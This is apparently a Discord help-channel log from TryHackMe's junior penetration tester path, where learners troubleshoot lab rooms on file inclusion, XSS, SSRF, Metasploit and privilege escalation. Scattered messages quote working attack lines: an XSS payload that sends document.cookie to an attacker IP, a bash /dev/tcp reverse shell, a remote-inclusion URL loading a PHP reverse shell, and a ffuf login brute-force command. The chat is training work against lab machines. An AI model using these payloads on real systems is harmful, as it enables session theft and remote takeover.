junior-pentester-path

[winged dagger]

or this?

[shadow echo]

Like this, so the first one

[winged dagger]

the browser automatically converts that like this.....

[shadow echo]

Does it? Okay, so what's the response you get from the page then ?

[winged dagger]

Just a sec sir.. My pc freezed .. Need to hard shut down it.. Need to set all again

[shadow echo]

Okay, so just as a heads up in case I'm not here anymore. If you are still not getting the flag with the request in the screenshot my message is replying to, this most likely comes from your null byte being url encoded and therefore is not doing what you want it to do. So get rid of that url encoding

[abstract heart]

Would you suggest using curl or a browser?

[shadow echo]

Hm, if you understand what's happening it basically doesn't matter what you use 🙂

So dev tools should be fine too, although curl will add the correct header on it's own if you specify a POST request

So that might make things easier

[abstract heart]

Tried this in firefox then in curl, no avail

and also the less messy ../ path

[shadow echo]

So what's the response you get from the page?

[abstract heart]

In browser: nothing

[shadow echo]

Well after pressing the send button, you have to double click that new request, in order to get opened in the browser

So the page is not changing on it's own if you just press send

[abstract heart]

Got this from curl, just had to fight Civ 6 for my PC back XD

[abstract heart]

Correct

[shadow echo]

What was the full curl command you used?

But for now I would stick with the dev tools, as you are already pretty close

[winged dagger]

CAnn't reaaly understand , why dev tools were not working

[abstract heart]

curl -H "Content-Type: application/x-www-form-urlencoded: -X POST "http://machine_ip/challenges/chall3.php?file=../../../etc/flag3 (suffixed all: %00 ./ %2e%2f)

[shadow echo]

As I said, this was most likely due to your null byte was url encoded

[winged dagger]

So , %00 was converting to %2500 ...that's why it was creating problem?

[shadow echo]

Yes

[winged dagger]

Ohhk. Thankyou so much sir for ur time..
On my way to gain an RCE in next task(playgroung)....lol

[shadow echo]

Well I would stick with the dev tools as I said, as in that curl request you are again not specifying the parameter you want to send correctly, beside that the POST option seems to be within the header

[abstract heart]

Ahh I see the issue now

Got it done, but I think I'll be brushing up on headers and curl tomorrow. Thanks for the help @shadow echo

[next lance]

Gave +1 Rep to @shadow echo

[winged dagger]

Finally!!!! Completed file inclusion room... the playground was quite simple

[south olive]

I need help

Tryhackme/room/contentdiscovery , task 3 (manual discovery -favicon) I am trying to download favicon using (curl (site url) | md5sum

But nothing is downloading

I got the hash, but not matching with any of OWASP favicon database

[winged dagger]

Try using the FIND option present in browser. Paste the hash in that. It should match!

[south olive]

The URL was not correct. That's why hash was not matching.

[idle bison]

@heavy cape please do not ask the same question over multiple channels.

[patent sinew]

can i check for metasploit exploitation is anyone able to find the version running on port 8000

i tried nmap -sV -p 8000 <machine ip> -Pn but it does not seem to work. I also use the http_version module but after it ran nothing appear

[patent sinew]

thank you i manage to solve the issue

[rustic orbit]

Noob nmap question: When I run a Windows "nmap --script vuln IP" scan against my own test environment, just for learning purposes, I get a CVE hit. Since I have many systems and also VM's running in my test environment, I'd like to know if there is a way for NMAP to narrow down to the machine that has this vulnerability?

Rather than doing the same command on all of my hosts, can it tell me the internal LAN IP of the host with this exposure?

[modest arch]

Authentication Bypass | Jr.Pentest path-

I'm running the command:

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.202.94/customers/login -fc 200

I end up getting this result without finding any passwords. Is there something I might be missing?

[shadow echo]

Check your usernames file, it's not supposed to have anything else in it then just the usernames

[modest arch]

This worked! Thank you for your help!

[next lance]

Gave +1 Rep to @shadow echo

[modest arch]

File Inclusion

Would someone mind taking a look at this and guide me through, I can't seem to grasp the lesson

[sage current]

not passwd.php just passwd

is the only thingy shadow can think of

otherwise for good measure just stick more ../ onto it

[modest arch]

after some tinkering, it worked. Thanks for the help!

[next lance]

Gave +1 Rep to @sage current

[sage current]

no problem

[coral stump]

Almost done, working on "winprivesc" room now ... not really familiar with windows/cmd/pwrshell/etc ... got a little stuck on DLL hijacking, I think recreating the VM will solve it 🤞 ... but I'm missing something RE user vs admin and ability to start/stop dllsvc ...

[coral stump]

So i guess i can "start" dllsvc to trigger it to read my hijacked.dll ... but cannot update/restart to test a newly compiled dll? ... it takes so long to start a new VM, don't wanna do it again 😛 ... but i will haha

Haha ok

I feel so lost in Windows lol

[sage current]

yeah you can't restart the service and that sucks

[coral stump]

Ok at least I'm not crazy

What should I look at for next path/rooms after the Jr pen tester?

I wanna do everything lol, still not even sure what's out there

the linux CTFs sounds fun!

i was gonna try to solo a random CTF just to see how it goes lol .. have some friends might make a team eventually

https://giphy.com/gifs/mfw-room-kaDAIEecq0YuI

finally got it 👍

[long heron]

Can someone help me with Burp suite? When I try "Open browser" from Interception is on tab, it shows following error " net.portswigger.devtools.client.a: Refusing to start browser as your configuration does not support running without sandbox ". How can I resolve this?

[remote iris]

Project options -> Misc -> Embeded browser -> Tick "allow the embedded browser to run without a sandbox"

[quaint wasp]

Came here for the exact same thing 😄

[long heron]

Thank you!

[next lance]

Gave +1 Rep to @remote iris

[abstract heart]

Still having issues on XSS Task 8, I've gone through the forum post and still can't get any cookie captured (except my own). Any ideas?

[remote iris]

What is your payload?

[abstract heart]

</textarea><script>fetch('http://MACHINE_IP?cookie=' + btoa(document.cookie) );</script>

Literally copied from the task

[remote iris]

And are you using nc or the cookie stealer?

[abstract heart]

Tried both multiple times, neither worked 😦

[remote iris]

Ok, I know this machine doesn't like the wrong attempts etc,

Do you have the machine open?

[abstract heart]

Not at the moment but I'm about to boot back into Kali

[abstract heart]

I thought that as well so I tried restarting the host machine occasionally as well

[remote iris]

Okay, I'm booting up a machine also.

[abstract heart]

Booting the lab now

[remote iris]

Me too

Just a quick check.

Are you entering the port number too in your payload?

[abstract heart]

When I was using nc - yes

[remote iris]

Okay

[abstract heart]

This is the payload I've got ready

[remote iris]

Are you using NC?

[abstract heart]

not this time, using the thm request catcher

[maiden stratus]

borked

[remote iris]

Ok, let's try nc first? I feel it's quicker.

[maiden stratus]

yeh just a heads up, the request catcher is broken for some time now, :)
http://10.10.10.100

[abstract heart]

So I've got this ready to go: </textarea><script>fetch('http://10.4.64.xx:9999?cookie=' + btoa(document.cookie) );</script>

And I've got nc listening on 9999

[remote iris]

You need to put a : before the 9999

so it's 10.4.64.xx:9999

[maiden stratus]

[idle bison]

Like that?

[remote iris]

I didn't know that, thenk you.

Yeah, like that :L

[maiden stratus]

[abstract heart]

It's hard to see, granted

[remote iris]

Start the nc first then post the cookie, and wait about 10 second(s)

+rep @maiden stratus

[next lance]

Gave +1 Rep to @maiden stratus

[maiden stratus]

#rep

[abstract heart]

Waiting for a reply now

[maiden stratus]

oops

[remote iris]

Has it appeared?

[abstract heart]

Nope 😦

[maiden stratus]

try a python webserver,

python3 -m http.server 9999```

[winged dagger]

https://tryhackme.com/room/burpsuiteom
On task 4 of this room , I am unable to solve The last challenge?

[abstract heart]

Nice, I'll try it now

[remote iris]

What's your THM ip?

you can DM me if you want.

[abstract heart]

I'll message you now

[winged dagger]

Looks like every key is same!

[shadow echo]

You solved it meanwhile ?
They might look the same, but they are not

[shadow echo]

Check the permissions of that backup.sh file

[winged dagger]

No, Not solved yet!

I saw some forums . Something like this was written "Last line is important, maje sure to copy that, some text editors leave that line and...... "

[shadow echo]

Yes and that's correct

There has to be a new line at the end

[winged dagger]

Blank?

[shadow echo]

Yes

[winged dagger]

Ohkay ... Will try that.. Currently away from computer.

[dusky bluff]

Jeeez was having a hard time with that xss one…
What worked for me is using the Attack box and netcat.

The request catcher did not work and for some reason using nc on my Vm also did not work….

[sage current]

hm weird... glad you solved it somehow though

[remote iris]

Yeah, the cookie catcher has been borked for some time I was told.

[sage current]

yeah the cookie catcher part shadow understands... the nc on the vm not working is what confused shadow

[remote iris]

Honestly, it's hit and miss, I spent 15 min(s) with someone yesterday in DM trying to get it to work, it would work for me, but wouldn't work for them. They're going to to the rest of the path and leave that to end.

[tall siren]

Greetings all! I just finished the command injection practical and I was wondering if someone could explain why I had to use a ";" to put the commands in correctly. Is there something in the source code that I am missing that the ";" closes out?

[idle bison]

Do you know what ; does at the command line?

[modest ice]

Hi! First off, I am starting learning CS, so bare with me please. :). I know how wifi cracking works and people might get into my network. Or that I can get into someone’s wifi home network if passphrase is weak. But I also know, it’s near impossible to decrypt SSL traffic without planting a root CA in the victim device. Plus, DNS spoofing works some of the time depending on how naive is the target. So, why is it so much of a risk if someone gets into home wifi other than using my IP for evil activities and getting me in trouble with law enforcement for having my IP identified with some “online hacking activities”. I mean other than planting a CA root cert on the victim device what else can be done that’s of high risk beside online hacking activities?

[sage current]

accessing ports that are not portforwarded to the internets

[idle bison]

Access to your LAN

[modest ice]

Right, but you mean they may look for machines in my LAN that are volunruble to reverse shell meybe? Where they can steal my passwords…etc?

[sage current]

they might also use your connection to impersonate you on the internets or impersonate you for the isp

[modest ice]

Yes that’s what I meant by getting me in trouble with law enforcement for example if they use my IP for malicious activities.

[idle bison]

Or access your router with default creds, your smart fridge, your IP CCTV cameras, your TV

[modest ice]

Okay! I get you now. So, perhaps they get to my router with default creds. What level of impact they can do with that?

[idle bison]

Change your DNS to something malicious, backdoor the router, capture all traffic passing through it, disable encryption on services that use STARTTLS style implementations like email

[sage current]

man in the middle the handshake for ssl

[idle bison]

Eh, that's not so easy

[sage current]

still a possiblity right james???

[idle bison]

Routers are, most of the time, just Linux ARM/MIPS PCs

[idle bison]

Depends on a lot of factors

[sage current]

okay thanks for the info james

[modest ice]

Wow! So they can actually disable encryption on my router without me noticing that when I access https sites or even be noticed by the CA publisher?

[idle bison]

Not for HTTPS

And it'll depend on the remote service configuration

But many protocols had encryption added later on, and the client and server negotiate whether they will do encryption

If the client says "hey I don't support encryption" the server can't talk to it encrypted.

If the router rewrites the clients requests so that the server thinks the client won't support it, and rewrites the servers responses to make the client think the server won't support it, encryption can be disabled for some protocols

[tall siren]

I hadn’t thought of it in that context (I.e. stopping one action and starting another). I know they mention it in one of the lessons, about closing one action before putting in the code, but I didn’t catch that part. Thanks.

[next lance]

Gave +1 Rep to @idle bison

[violet star]

Do I have everything I need to answer question one of Task 4(Local File Inclusion) of the File Inclusion Room

[idle bison]

Yes.

[haughty basin]

hi

[wary prairie]

my main language is Java.recently,I faced a python CVE that is understand difficultly for me.
i have a question.How to face CVE ?

• each one i study and understand
• only study Java CVE,other CVE just know how to use PoC and exp
  which one is better?

[violet star]

Am I anywhere close to the expected request?

Outline I am following

https://website.thm/item/2?server=api.website.thm/api/flag&x=&id=9

[sage current]

wait a few sec

[remote iris]

You're close.

api isn't needed.

[violet star]

So use 'server.website.thm'? instead? Leave both API's out?

[sage current]

eugh why can't shadow get this stupid thingy to work again

[remote iris]

Yes.

Take out both api.

[sage current]

weird shadow has the right syntax but it is not working for some reason

[remote iris]

=&id=9 is also wrong.

[remote iris]

If it's not working, it's possibly the wrong syntax.

[sage current]

oh wait figured it out

[remote iris]

You're wanting the id to be 9.

[sage current]

wooops

no second http:// needed

[remote iris]

So it's

?id=9

[sage current]

the hint also tells you to end it with &x=

[remote iris]

And then &x=

[violet star]

https://website.thm/item/2?server=server.website.thm/flag&x=&id=9?

[remote iris]

No,

||flag?id=9&x=||

[violet star]

https://website.thm/item/2?server=api.website.thm/api/flag?id=9&x=?

[remote iris]

Take away the api.

the first api

replace with server

[violet star]

https://website.thm/item/2?server=server.website.thm/flag?id=9&x=?

sorry i meant server

[sage current]

the last ? is not needed but other then that it is correct

[remote iris]

Bingo.

[sage current]

took shadow over 5 hours to figure that problem out themselves back then

[remote iris]

I'd assume it's the question mark as their response is a question.

[sage current]

oooh okays

[remote iris]

How did the revised link go?

[violet star]

Excellent. Thanks for your help

[next lance]

Gave +1 Rep to @remote iris

[remote iris]

Np!

Happy Hacking!

[sage current]

no problem here eitehr

[final coral]

I hated these rooms.

[sage current]

except that shadow snagged themselves again

[signal oak]

yo

in the Windows Privesc room, sc query windefender and sc queryex type=service both don't return any result

[sage current]

are you running it in the command prompt or in powershell???

[signal oak]

powershell

it works on cmd

I thought powershell was cmd but just better

guess I was wrong

[idle bison]

sc in powershell is an alias for some powershell command

So you need to use sc.exe query

[signal oak]

ok I get it thanks !!

[next lance]

Gave +1 Rep to @idle bison

[signal oak]

and thx @sage current

[idle bison]

@sage current thanks - hehe I stole your rep

[next lance]

Gave +1 Rep to @sage current

[sage current]

no problem

[violet star]

Why am I not seeing any base encoding formatting when I click on the private directory after I 'View Page source'

And this is task 5 of the SSFR rooom

[sage current]

right click the avatar image and click view source

[final coral]

I think you have to inspect and change the radio button.

Could be wrong I've slept since I did it

[modest ice]

Hi all!, so the command injection course, were you able to get the output in the web app?

It does not show for me

Is it a trick question? Or unexpected behavior?

[sage current]

don't recall

[modest ice]

Yes @steel nymph

So perhaps I need to combine expected input with a command

Thanks!

[lost hill]

Hi, i need some help with NetSecMod Room 04 nmap, i did the scan an no os was detected, am being asked what os i found what should i do? is this a bug?

[remote iris]

add -T4 or -T5

[shadow echo]

Huh? I'm confused, why would that change the result ?

[remote iris]

No idea, but it does.

[shadow echo]

lol, okay

[remote iris]

Sarcastic? lol

[shadow echo]

No 😂

[remote iris]

Lol, if that was me I would be like "wat"

[remote iris]

See here.

[shadow echo]

Definitely a Sony Android TV

[remote iris]

My display?

[shadow echo]

Ye

[remote iris]

I'm on a mobile workstation.

[shadow echo]

Oh no I meant the results 😄

[remote iris]

Loooool

It's not my night.

[lost hill]

Thanks

[next lance]

Gave +1 Rep to @remote iris

[sand wigeon]

can anyone explain the 1st question

what is nonstandard port?

[nimble portal]

There are services that typically use a certain port like 21 for ftp and 22 for ssh. So those are the standard port, but the service can be set up to use any port so if ftp is on other than 21 it's using a nonstandard port

[sand wigeon]

ok

[sand wigeon]

thanks i understand

[next lance]

Gave +1 Rep to @nimble portal

[violet star]

For task 8 of the Cross site scripting room , the base64 payload is supposed to appear right? I am not getting anything on my netcat listening command when I create a ticket and put this payload in the text area of my ticket:
</textarea><script>fetch('http://10.10.108.35?cookie=' + btoa(document.cookie) );</script>

[remote iris]

You're not entering the port.

[remote iris]

It needs to be "10.10.108.35:9001"

[violet star]

ahh, ok

always forget that

[vast lark]

hoping someone can help me out, as this is probably pretty simple. Working on the file inclusion lab challenge #3, and I am able to get it to work using curl but not when using the developer debug tools.

[coral stump]

can DM me if you wanna debug more without spoilers here in shared channel 😄

[shadow echo]

This is most likely due to a missing header, which curl adds on it's own when specifying a POST request

[vast lark]

Ok I will dig into this more, Thnx!

[rigid ingot]

@maiden stratus THANK YOU!

[next lance]

Gave +1 Rep to @maiden stratus

[rigid ingot]

Been stuck on that crontab for better part of the day and couldn't figure out what I was doing wrong

[maiden stratus]

Your welcome 🙂

[remote iris]

You're*

[maiden stratus]

[brittle jetty]

What is the general consensus on using youtube/walkthroughs to help with rooms? I'm moving along in the file inclusion room but this one seems to be a bit more challenging

[warm badge]

you do you. if you use youtube/walkthrough, i'd recommend taking notes 🙂

just to make sure the info sticks

[warm badge]

#offensive-pentesting-path message

[shadow echo]

Are you also adding a question to your screenshots?

[brittle jetty]

Thanks for answering. I agree it depends on how you are using the walkthroughs. For me its to fully comprehend the material although I do need to get better with note taking

[next lance]

Gave +1 Rep to @warm badge

[ivory wagon]

Under Authentication bypass Task 2,I am finding it difficult to input " in the terminal. it is not showing at all

[worn surge]

So I was doing the Metasploit: Exploitation room and was on the final challenge, I could not get the hash dump no matter what I did. I even looked at a write up and did the exact same steps but still didn't work

[idle bison]

Can you elaborate on "Didn't work"?

What are you seeing? Errors? Nothing? What are you doing in particular?

[worn surge]

sorry dealing with a head cold today was well and so I would run the reverse shell lisener in msfconsole, then run the program on the target machine. Attack machine would hear it, then I put the session in the background and loaded up post/linux/gather/hashdump set session id and ran. Then the target machine would end and the attack would say session closed

[worn surge]

I went back through and was able to get it, not sure what went wrong maybe a space in a place is wasn't suppose to be

[warm badge]

no worries, I need to get better at it too!

[final coral]

Man I just spent 15mins trying to figure out why ls and ls-l wasn't working on Netsecchallenge.

It was working. ||There was just nothing there||

[final coral]

Vuln capstone ✅

Didn't need to look at anything, just found a vuln, set up nc, got shell, found flag. Ezpz

Felt like I actually knew what I was doing for a minute

[sage current]

nice good job done there

[sly escarp]

Anyone here with a eJPT cert?

[shadow echo]

Not sure what you want to ask, but I guess it fits more in #cyber-and-careers

[sly escarp]

thanks!

[next lance]

Gave +1 Rep to @shadow echo

[final coral]

Went on to do metasploit and immediately felt like I knew nothing again 🤣

[tawdry oak]

hi folks! did someone finished this room https://tryhackme.com/room/xssgi recently ? . It doesn't seem to be working. I just visit the forum, and try to reproduce every step even with help... But I still can't get the staff-cookie.

my payload looks like this:
</textarea><script>fetch('http://10.5.XXX.XX/?cookie=' + btoa(document.cookie) );</script>

and when I read the source code seems fine, also it works when I trigger it myself.

And I am using http to access the lab http://{ip}.p.thmlabs.com

[shadow echo]

If you can trigger to receive your own session cookie, your payload seems to be fine. So I suggest restarting the target machine and try again.
Make sure the first ticket you create has the working payload.
In case it's still not working after that, restart the target machine once more and try using the attackbox to catch the staff session cookie

[shadow echo]

Oh, and I suggest you are accessing the target machine by it's IP instead of that URL

[tawdry oak]

THX !!! I'll try using the attack box this time!!

[shadow echo]

And make sure accessing it via the IP instead of the URL

[tawdry oak]

thx man!! let's hope it will work 😆 it's been hours kkkk

@shadow echo it worked !!!! thx dude!!

[next lance]

Gave +1 Rep to @shadow echo

[modest arch]

192.168.193.14:80 - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/proftpd_modcopy_exec)

does anyone know where I could find a payload

?

when I show options

Module options (exploit/unix/ftp/proftpd_modcopy_exec):

Name Current Setting Required Description

---

Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.193.14 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Me
tasploit
RPORT 80 yes HTTP port (TCP)
RPORT_FTP 21 yes FTP port
SITEPATH /var/www yes Absolute writable website path
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path to the website
TMPPATH /tmp yes Absolute writable path
VHOST no HTTP server virtual host

Exploit target:

Id Name

---

0 ProFTPD 1.3.5

its a ctf I found on HTB

[final coral]

Msfvenom would be a good place to start.

Might I suggest doing the metasploit series on tryhackme? You'd learn all about metasploit and msfvenom

[violet star]

Burp Suite Intruder Room , Task 10 Practical Example. Why is the Payload set Tab only presenting me with '1' when I selected the Attack type as 'Pitch Fork'? cont'd

end

Nevermind. I needed to press the 'Add' button as I didn't need to press the clear button for my username and password as there were no cookies in my results

[violet star]

For Task 11 of this The Burp Suite Room, I needed to restart the Burp Suite Community tool by recapturing this link right?(http://10.10.68.240/support/ticket/78)

[lost hill]

Hi, i have been having issues with getting the size of the file using scp, would it be possible for the creator of box to make a change on that, letting the users know its easier to get the file using curl
Thank you, i enjoyed the walkthrough.

[idle bison]

#room-bugs for reporting issues with rooms/answers please

[shadow echo]

What you mean by "restart the burp suite community tool"? Yes, that's the url you need, where the part of the url with the number is the one that's getting Fuzzed

[violet star]

because I wanted to know if I was using the information in the Burp suite community tool from Task 10

[violet star]

I ran a for loop in python that prints numbers 1 through 100 and then pasted those numbers into the Pay load options box. Would that be sufficient?

[idle bison]

There's a better way of doing it

Payload type has a relevant option

[shadow echo]

It would be sufficient, yes. But as James said, there would be a better way, where you can set it within Burp, instead of having to create a list with numbers

[final coral]

Doing the Linux Privesc room. Kernel exploits.

Used nano to save an exploit in /Downloads as cve.c
Python3 -m http.server 4444 in /Downloads

wget http://IP:4444/cve.c on target.

cve.c : permission denied
Cannot write to 'cve.c' (permission denied)

Not sure what I'm doing wrong?

[shadow echo]

You are most likely trying to wget that file while being in a directory where you don't have write permisson in

[final coral]

As I posted this I had that thought

Moved to /tmp on the target and it worked

[final coral]

Thanks

[next lance]

Gave +1 Rep to @shadow echo

[hot patrol]

Hi does anyone complete https://tryhackme.com/room/winprivesc / hijackdll? I copy hijackdll to c:\temp but don't know what service to restart. Because dllsvc don't have in machine and I can't install Process Monitor to the computer. How can I pass this quest? Thanks

[rustic totem]

where is the input field to exploit lfi?

[shadow echo]

There is no input field on that page, so you have to find a different way to exploit it

[rustic totem]

i found the solution through cookies 😄

@shadow echo thanks for your help!

[next lance]

Gave +1 Rep to @shadow echo

[tawdry oak]

Hi guys! I am stuck on "VulnNet: Internal" a couple of hours, and couldn't figure out a way to get a foothold. I guess I'm missing something basic, does anyone have any tip, on things to try or to study to beat the room ?

[violet star]

For task 4 Decoder hashing of the Burp Suite the Modules room, after I converted the keys to an MD5 hash sum value, would I covert it to a Base64 encoding code or an ASCII-hex text?

[shadow echo]

ASCII Hex

[violet star]

So I went ahead and guessed what the key value was in that answer box and when I tried that key value in the Decoder , it wasn't showing me the ASCII Hex value that matche the ASCII Hex value in the last question

I also don't know what 'endline' they are talking about in the hint because I copied every line

[idle bison]

They key isn't hex, it has characters outside that range.

You should be hashing the keys, not decoding them

Hash the keys, represent the hash in hex

Hashes are just binary data

[violet star]

I converted the key into initially an MD5 hash? Am I suppose to convert it to another hash format

[idle bison]

I can't see md5 selected here?

Or is it just not showing?

[final coral]

After completing the junior pentester path, what sort of boxes should I be looking at ? Medium?

[idle bison]

And you're not converting the key by hashing it, you're hashing it. It's not a conversion. Understanding hash functions and the correct terminology around them is important

[idle bison]

Do some easy ones, if you're doing them without too much challenge and not learning much then move on to harder ones

The difficult range within easy on tryhackme is quite wide

[violet star]

This was my initial conversion

[idle bison]

Right so you've got 4 keys right?

One of them should hash to the value provided.

So you need to apply the operations to all of them and see

[violet star]

yes and I guessed the correct one to save time( i initially tried all 4 and wasn't getting any values) but when I tried the correct one and converted it initially to md5 and then to ascii-hex I still had issues

*any correct values

Figured it out, apparently I needed to include an extra white space after the end of the last line of the key.

[idle bison]

A newline at the end of the file is part of it. It's what the files contain too

[modest arch]

Can someone explain what hashing is and why it’s important in hacking

[idle bison]

https://tryhackme.com/room/hashingcrypto101 if you're a subscriber

[final coral]

It's a none reversible encryption.

Usually a "salt" is used to make the hash irreversible.

[idle bison]

Usually a "salt" is used to make the hash irreversible. That's not what it's for

Hashing is inherently a one way function.

It's not encryption

[final coral]

🤔 encoding? I thought the salt was so you couldn't just reverse the "encoding"

[idle bison]

It's also not encoding.

The salt is to prevent rainbow table attacks.

[maiden stratus]

But you could generate your own rainbow tables with the salt right?

[idle bison]

Yes

But if you want to crack 10 hashes, they all should have different salts

It massively increases the amount of work you need to put in and storage you need for the tables, making it infeasible.

[maiden stratus]

Yeh, it definitely makes it more difficult

[final coral]

So it's just "hashing" ?

Hashing is irreversible regardless of whether a salt is used. The salt makes rainbow table attacks much more difficult (but not impossible if someone really wanted to and had the resources?)

[idle bison]

It's a one way function

[idle bison]

Salts mean you need a new table for every different salt. It effectively means you might as well brute force it unless you have a bunch of hashes with the same salt

[modest arch]

yes hash is one way

[barren forge]

In file inclusion room's last challenge (RFI) I used a file containing reverse php shell and tried to include it in web address as well as include tab but it shows no response

Only when I put that file in include tab it shows err 405 this method is not allowed

[shadow echo]

How are you hosting that shell file ?

Also, I suggest you verify your thm profile in discord, in order to be able to send screenshots.
Screenshots making things way easier 🙂

!docs verify

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[barren forge]

i made a directory and hosted a webserver using python in that directory

[shadow echo]

So you used the python http.server ?

[barren forge]

yes

[shadow echo]

And you are getting no requests in that terminal where the python server is running ?

[barren forge]

nah

[shadow echo]

What's the full URL you are using on the target machines webpage to request that file ?

[barren forge]

http://10.10.132.89/playground.php?file=http://10.10.162.3/php-reverse-shell.php

tried it for once more

I dont know where i am going

[shadow echo]

Well first of all, if you are trying to serve the shell file, you have to use the python server.
But in that screenshot you have shut down the python server again and instead started netcat.

The second thing, when you have the python server running, you have to specify the port of it in the URL on the target machines webpage

[barren forge]

python server is on another terminal

i started netcat so that i can gain shell and give commands to the server

[barren forge]

explain this

how to do this

[shadow echo]

Oh, I thought it was the python server you have shut down again, never mind that part then if you have it running in a different terminal.

[barren forge]

response on python terminal

[shadow echo]

Ok great, so it seems you have specified the port correct now.

So did you receive the rev shell now ?

[barren forge]

no

[shadow echo]

Show a screenshot of your rev shell file content pls

[barren forge]

i guess this part matters most

here we were supposed to put victim ip or our ip?

and what port we had to use

?

[shadow echo]

The port has to match the port you are using for your netcat listener.
And since the target machine needs to know where to connect back to, it has to be your attackbox IP

[barren forge]

so dumb of me

[shadow echo]

These are common mistakes, so not dumb 🙂

[barren forge]

still not working

these are correct configs right?

[shadow echo]

Looks like, yes

[barren forge]

http://10.10.132.89/playground.php?file=http://10.10.162.3:8000/php-reverse-shell.php

this is what i typed in search bar

[shadow echo]

Ok ?

[barren forge]

Why isn't it working

[shadow echo]

So did you check the nc listener?
Did it not say connection received ?

[barren forge]

It says nothing

[shadow echo]

Can I access your target machine and try myself ?

[barren forge]

netcat listener

You have all information

You may!

Changed netcat listener port 1234

Still no progress

[shadow echo]

Are you getting any request in your python server? Since I don't.
So you might want to restart the target machine

[barren forge]

I am

Your IP ends with 89?

[shadow echo]

Argh hold on

I had the firewall on for some other purpose 😄

Okay, well then that might not work with that rev shell

[nimble portal]

Are you getting the 404 errors as in your previous screenshot or 200 as success?

[barren forge]

All 404

[nimble portal]

Then another question is the file you are requesting in the same folder as you are hosting the python server?

[barren forge]

No

[shadow echo]

Oh, hold on, actually it works just fine, my rev-shell file was just bad it seems

[nimble portal]

Then that is a problem

You need to host the python server on the same directory where your file is

[shadow echo]

Oh, seems I have overseen the 404 errors, I guess I should take a break

[barren forge]

Yes

It's some weird signs

Those weird signs are because of me or @shadow echo

[shadow echo]

Hm, what you mean 😄 ?

[barren forge]

I mean everything is freezed and I have refreshed the webpage

And it doesn't connect

[shadow echo]

Refresh the room page and check if the target machine is still up, maybe the timer ran out

But you have to refresh it, since the timer not always shows the correct time

[barren forge]

I just restarted everything

[shadow echo]

So, have you managed to get a rev shell now ?

[coral stump]

how's it going?

[tight juniper]

Hey 👋
I need some help in linux privilege escalation in cronjob

[sage current]

oh sure

did you mark the thingy as executable????

[tight juniper]

My badd🤦🏻🤦🏻
No
I marked it now as a executable

[tight juniper]

Thanks 🫡

[next lance]

Gave +1 Rep to @sage current

[tight juniper]

Got revshell🤍

[sage current]

congratz

also this is such a common mistake shadow defaults to asking the question if you marked it as executable by now

[final coral]

chmod +x right?

[sage current]

yuups that is the easiest way to do it

[final coral]

Just checking I understood.

[worn surge]

So I am in the Linux PrivEsc room and doing task 5 but it won't let me do wget, says permission denied, is there something I should of done that I am missing. I've logged in as karen and I can see matt but can't figure out what to do since I cant get the exploit over to the system. I've even used a python server to move it over but still give me permission denied

[molten dust]

Cant quite remember this one, ill have a look at the task to see if I can remember. Have you tried another method of getting I am assuming is LINpeas on the machine?

Pretty sure I tried the other method and also didnt work, do you know what the other method would be? (For future knowledge)

Okay so the other method should work

Also try to use wget in the tmp directory

If you are trying to do it in / it wont work

[worn surge]

ok let me try thank you for the advice

[molten dust]

Are you trying to upload linpeas or the exploit code ?

[worn surge]

I was trying to do both but to no avail but since moving over to tmp I can get LINpeas so I am going to try the exploit next

[molten dust]

Okay cool, question for you, if wget is blocked, what is the other method to getting your code onto the target?

Because Im sure youll run into that issue eventually

[worn surge]

@molten dust Thank you so much!!!

[next lance]

Gave +1 Rep to @molten dust

[worn surge]

I got the Flag!!

[molten dust]

Nice! Did you have to compile the exploit?

[worn surge]

not sure but Ill be looking that up

[worn surge]

I compliled it on my system then moved it over then chmod and ran

[molten dust]

Have a think, ill give you a hint. Copy/Paste

[worn surge]

clipboard?

[molten dust]

Same thing haha

If you cant upload a file, then why not make your own

[worn surge]

through nano or another text editor

[molten dust]

Yeah

[worn surge]

Yep I did try that on that system but super low level priv

[molten dust]

Have fun with task 7, I like exploiting SUID, GTFObins is your friend

Best friend in fact

[worn surge]

Sweet I am excited I love doing this stuff so much fun

[molten dust]

Im just starting on Windows stuff, Kerberus etc, im so lost. Linux is so much easier

If you want to teat out your linux foothold-privesc skills. Check out Proving Grounds by Offensive Security

https://tryhackme.com/room/rrootme

This one looks pretty easy too, im going to do it tomorrow

[worn surge]

nice will do thanks @molten dust

[next lance]

Gave +1 Rep to @molten dust

[molten dust]

Just done Rootme and LazyAdmin, highly recommend, good fun

[worn surge]

Sweet

[lethal hearth]

I am not able to solve this ques can anyone help

i found the cookie converted it but the ans is wrong

by bas64

[remote iris]

You have more than likely caught your own cookie.

Are you using NC?

[lethal hearth]

nah i used burp

for fetching it

[remote iris]

Hm, I didn't do it that way, I just used NC.

[lethal hearth]

ohky should i try with nc

[remote iris]

Can't hurt.

🙂

what was the base64 string you tried before?

[supple lion]

I started Nmap today and it is fun.

[formal hemlock]

How can you do the rooms from your own linux, from a virtual box?

lol and how do you do that?

im still noob my bad?

[coral stump]

I'll be hanging out in general voice channel for a while, if you wanna hop in and we can get it setup together 😄 👍

[formal hemlock]

Ok on IDOR task 7 I click on start machine and i dont see it?

[coral stump]

if you want to join voice, need to verify discord (connect with THM account)

!docs verify

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[winged dagger]

On task 9 of this room (https://tryhackme.com/room/linprivesc), I am not getting the reverse shell with root permission (trying the same payload provided in the task). Instead, I'm getting the [e-mail].

PAYLOAD:
#!/bin/bash bash -i >& /dev/tcp/10.x.x.x/4444 0>&1

[shadow echo]

Check the permissions of the file

[winged dagger]

It has root permission

[shadow echo]

That's the owner, not the permissions
And to be clear, to check the permissions of the file you want cron to execute

[winged dagger]

Lemme see

yes

./backup.sh

cron

..

😶

yeah..

My bad that I executes it my self

Yes.. Now trying that way(waiting for it to get executed)

[winged dagger]

Thanks Mr. @steel nymph for your help.. Solved it!

Just few steps away from completing Jr.Pentester path 😄

[orchid bobcat]

am unable to fetch cookie on the xss last question

[shadow echo]

You should provide more details, with such little info it's hard to help

[orchid bobcat]

